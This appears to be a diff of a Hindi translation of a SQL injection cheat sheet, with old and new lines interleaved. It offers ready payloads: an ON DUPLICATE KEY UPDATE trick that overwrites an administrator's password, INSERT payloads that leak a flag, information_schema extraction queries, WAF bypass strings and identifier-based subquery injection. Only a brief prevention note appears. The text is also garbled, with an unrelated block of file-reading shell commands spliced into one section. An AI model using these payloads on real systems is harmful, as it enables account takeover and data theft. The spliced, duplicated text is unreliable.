MySQL में `ON DUPLICATE KEY UPDATE` क्लॉज़ का उपयोग तब किया जाता है जब किसी ऐसे row को insert करने का प्रयास किया जाए जो UNIQUE index या PRIMARY KEY में duplicate value पैदा कर दे — इस स्थिति में डेटाबेस को कौन‑सी कार्रवाई करनी चाहिए, यह निर्दिष्ट करने के लिए। निम्नलिखित उदाहरण दर्शाता है कि इस फीचर का उपयोग administrator account के password को बदलने के लिए कैसे exploit किया जा सकता है:
|
||||
|
||||
Example Payload Injection:
|
||||
उदाहरण Payload Injection:
|
||||
|
||||
एक इंजेक्शन पेलोड इस प्रकार तैयार किया जा सकता है, जहाँ `users` तालिका में दो पंक्तियाँ डालने का प्रयास किया जाता है। पहली पंक्ति एक डिकॉय है, और दूसरी पंक्ति एक मौजूदा व्यवस्थापक के ईमेल को लक्षित करती है जिसका उद्देश्य पासवर्ड को अपडेट करना है:
|
||||
एक injection payload निम्नानुसार तैयार किया जा सकता है, जहाँ `users` table में दो rows insert करने का प्रयास किया जाता है। पहली row एक decoy है, और दूसरी row मौजूदा administrator के email को लक्षित करती है ताकि password अपडेट किया जा सके:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
यहाँ यह कैसे काम करता है:
|
||||
यह इस तरह काम करता है:
|
||||
|
||||
- क्वेरी दो पंक्तियाँ डालने का प्रयास करती है: एक `generic_user@example.com` के लिए और दूसरी `admin_generic@example.com` के लिए।
|
||||
- यदि `admin_generic@example.com` के लिए पंक्ति पहले से मौजूद है, तो `ON DUPLICATE KEY UPDATE` क्लॉज सक्रिय होता है, जो MySQL को मौजूदा पंक्ति के `password` फ़ील्ड को "bcrypt_hash_of_newpassword" में अपडेट करने का निर्देश देता है।
|
||||
- इसके परिणामस्वरूप, `admin_generic@example.com` का उपयोग करके प्रमाणीकरण का प्रयास किया जा सकता है, जिसमें bcrypt हैश के लिए संबंधित पासवर्ड है ("bcrypt_hash_of_newpassword" नए पासवर्ड के bcrypt हैश का प्रतिनिधित्व करता है, जिसे इच्छित पासवर्ड के वास्तविक हैश से बदलना चाहिए)।
|
||||
- The query attempts to insert two rows: one for `generic_user@example.com` and another for `admin_generic@example.com`.
|
||||
- If the row for `admin_generic@example.com` already exists, the `ON DUPLICATE KEY UPDATE` clause triggers, instructing MySQL to update the `password` field of the existing row to "bcrypt_hash_of_newpassword".
|
||||
- Consequently, authentication can then be attempted using `admin_generic@example.com` with the password corresponding to the bcrypt hash ("bcrypt_hash_of_newpassword" represents the new password's bcrypt hash, which should be replaced with the actual hash of the desired password).
|
||||
|
||||
### जानकारी निकालें
|
||||
|
||||
#### एक ही समय में 2 खाते बनाना
|
||||
#### एक साथ 2 खाते बनाना
|
||||
|
||||
जब एक नया उपयोगकर्ता और उपयोगकर्ता नाम बनाने का प्रयास किया जाता है, तो पासवर्ड और ईमेल की आवश्यकता होती है:
|
||||
When trying to create a new user and username, password and email are needed:
|
||||
```
|
||||
SQLi payload:
|
||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||
|
||||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||||
```
|
||||
#### दशमलव या हेक्साडेसिमल का उपयोग करना
|
||||
#### दशमलव या हेक्साडेसिमल का उपयोग
|
||||
|
||||
इस तकनीक का उपयोग करके आप केवल 1 खाता बनाकर जानकारी निकाल सकते हैं। यह ध्यान रखना महत्वपूर्ण है कि आपको कुछ भी टिप्पणी करने की आवश्यकता नहीं है।
|
||||
इस तकनीक का उपयोग करके आप केवल 1 अकाउंट बनाकर जानकारी निकाल सकते हैं। यह ध्यान देने योग्य है कि आपको कुछ भी comment करने की जरूरत नहीं है।
|
||||
|
||||
**hex2dec** और **substr** का उपयोग करते हुए:
|
||||
**hex2dec** और **substr** का उपयोग:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
टेक्स्ट प्राप्त करने के लिए आप उपयोग कर सकते हैं:
|
||||
- cat src/pentesting-web/sql-injection/README.md
|
||||
|
||||
- less src/pentesting-web/sql-injection/README.md
|
||||
|
||||
- sed -n '1,200p' src/pentesting-web/sql-injection/README.md
|
||||
|
||||
- git show HEAD:src/pentesting-web/sql-injection/README.md
|
||||
|
||||
- curl -sL "https://raw.githubusercontent.com/<user>/<repo>/<branch>/src/pentesting-web/sql-injection/README.md"
|
||||
|
||||
- gh api repos/<owner>/<repo>/contents/src/pentesting-web/sql-injection/README.md --jq '.content' | base64 --decode
|
||||
|
||||
- PowerShell (Windows):
|
||||
Get-Content -Raw src\pentesting-web\sql-injection\README.md
|
||||
|
||||
- type src\pentesting-web\sql-injection\README.md
|
||||
```python
|
||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
**हैक्स** और **रिप्लेस** (और **सब्स्ट्र**) का उपयोग करते हुए:
|
||||
**hex** और **replace** (और **substr**) का उपयोग करके:
|
||||
```sql
|
||||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
|
||||
@ -470,7 +483,7 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
## Routed SQL injection
|
||||
|
||||
Routed SQL injection एक ऐसी स्थिति है जहाँ injectable query वह नहीं होती जो आउटपुट देती है, बल्कि injectable query का आउटपुट उस query में जाता है जो आउटपुट देती है। ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Routed SQL injection एक ऐसी स्थिति है जहाँ injectable query वही नहीं है जो output देता है, बल्कि injectable query का output उस query में जाता है जो output देता है. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Example:
|
||||
```
|
||||
@ -483,7 +496,7 @@ Example:
|
||||
|
||||
### No spaces bypass
|
||||
|
||||
No Space (%20) - whitespace विकल्पों का उपयोग करके बायपास
|
||||
No Space (%20) - whitespace विकल्पों का उपयोग करके bypass
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
@ -492,31 +505,31 @@ No Space (%20) - whitespace विकल्पों का उपयोग क
|
||||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
कोई व्हाइटस्पेस - टिप्पणियों का उपयोग करके बायपास
|
||||
No Whitespace - comments का उपयोग करके bypass
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
कोई व्हाइटस्पेस नहीं - पेरेंटेसिस का उपयोग करके बायपास
|
||||
कोई रिक्त स्थान नहीं - कोष्ठक का उपयोग करके बायपास
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### No commas bypass
|
||||
|
||||
No Comma - OFFSET, FROM और JOIN का उपयोग करके बायपास
|
||||
No Comma - bypass using OFFSET, FROM and JOIN
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
### Generic Bypasses
|
||||
### सामान्य Bypasses
|
||||
|
||||
कीवर्ड का उपयोग करके ब्लैकलिस्ट - अपरकेस/लोअरकेस का उपयोग करके बायपास
|
||||
keywords का उपयोग करने वाला Blacklist — uppercase/lowercase का उपयोग करके bypass करें
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
कीवर्ड का उपयोग करके ब्लैकलिस्ट - समकक्ष ऑपरेटर का उपयोग करके बायपास करें
|
||||
Keywords को case-insensitive तरीके से Blacklist करना — equivalent operator का उपयोग करके bypass
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
@ -526,30 +539,58 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
||||
```
|
||||
### Scientific Notation WAF bypass
|
||||
|
||||
आप इस ट्रिक के बारे में अधिक गहन व्याख्या [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) में पा सकते हैं।\
|
||||
बुनियादी रूप से, आप WAF को बायपास करने के लिए वैज्ञानिक संकेतन का अप्रत्याशित तरीकों से उपयोग कर सकते हैं:
|
||||
आप इस ट्रिक की अधिक गहन व्याख्या [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
बुनियादी रूप से आप WAF को बायपास करने के लिए scientific notation का उपयोग अप्रत्याशित तरीकों से कर सकते हैं:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
-1' or 1337.1337e1 or '1'='1
|
||||
' or 1.e('')=
|
||||
```
|
||||
### कॉलम नाम प्रतिबंध को बायपास करें
|
||||
### कॉलम नामों पर प्रतिबंध बायपास करें
|
||||
|
||||
सबसे पहले, ध्यान दें कि यदि **मूल क्वेरी और वह तालिका जहाँ आप ध्वज निकालना चाहते हैं, में समान संख्या में कॉलम हैं** तो आप बस कर सकते हैं: `0 UNION SELECT * FROM flag`
|
||||
सबसे पहले, ध्यान दें कि यदि **original query और उस table जहाँ से आप flag निकालना चाहते हैं के कॉलमों की संख्या समान है** तो आप बस कर सकते हैं: `0 UNION SELECT * FROM flag`
|
||||
|
||||
यह संभव है कि **किसी तालिका के तीसरे कॉलम तक उसके नाम का उपयोग किए बिना पहुंचा जाए** एक क्वेरी का उपयोग करके जैसे: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, तो एक sqlinjection में यह इस तरह दिखेगा:
|
||||
यह संभव है कि आप किसी table के तीसरे कॉलम को उसका नाम उपयोग किये बिना एक्सेस कर सकें, एक query के द्वारा जैसे कि निम्नलिखित: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, तो एक sqlinjection में यह कुछ इस तरह दिखेगा:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
```
|
||||
या **कॉमा बायपास** का उपयोग करके:
|
||||
या **comma bypass** का उपयोग करके:
|
||||
```bash
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
```
|
||||
यह ट्रिक [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) से ली गई थी।
|
||||
यह ट्रिक [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) से ली गई थी
|
||||
|
||||
### Column/tablename injection in SELECT list via subqueries
|
||||
|
||||
यदि user input SELECT list या table/column identifiers में concatenated किया जाता है, तो prepared statements मदद नहीं करेंगे क्योंकि bind parameters केवल values की रक्षा करते हैं, identifiers की नहीं। एक सामान्य कमजोर pattern इस प्रकार है:
|
||||
```php
|
||||
// Pseudocode
|
||||
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
|
||||
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
|
||||
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
|
||||
$stmt = $db->pquery($q, [$rec_id]);
|
||||
```
|
||||
Exploitation idea: field position में subquery inject करके arbitrary data को exfiltrate करें:
|
||||
```sql
|
||||
-- Legit
|
||||
SELECT user_name FROM vte_users WHERE id=1;
|
||||
|
||||
-- Injected subquery to extract a sensitive value (e.g., password reset token)
|
||||
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
|
||||
```
|
||||
नोट्स:
|
||||
- यह तब भी काम करता है जब WHERE clause एक bound parameter का उपयोग करती है, क्योंकि identifier list अभी भी string-concatenated रहती है।
|
||||
- कुछ stacks अतिरिक्त रूप से आपको table name नियंत्रित करने की अनुमति देते हैं (tablename injection), जिससे cross-table reads सक्षम होते हैं।
|
||||
- Output sinks चयनित value को HTML/JSON में प्रतिबिंबित कर सकते हैं, जिससे सीधे response से XSS या token exfiltration संभव हो सकता है।
|
||||
|
||||
रोकथाम:
|
||||
- कभी भी user input से identifiers को.concatenate न करें। Allowed column names को एक fixed allow-list में मैप करें और identifiers को सही तरीके से quote करें।
|
||||
- यदि dynamic table access आवश्यक है, तो इसे एक सीमित सेट तक सीमित रखें और server-side पर एक सुरक्षित mapping से resolve करें।
|
||||
|
||||
### WAF bypass सुझाव देने वाले tools
|
||||
|
||||
### WAF बायपास सुझाव उपकरण
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/m4ll0k/Atlas
|
||||
@ -560,11 +601,15 @@ https://github.com/m4ll0k/Atlas
|
||||
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## ब्रूट-फोर्स डिटेक्शन सूची
|
||||
## Brute-Force डिटेक्शन सूची
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user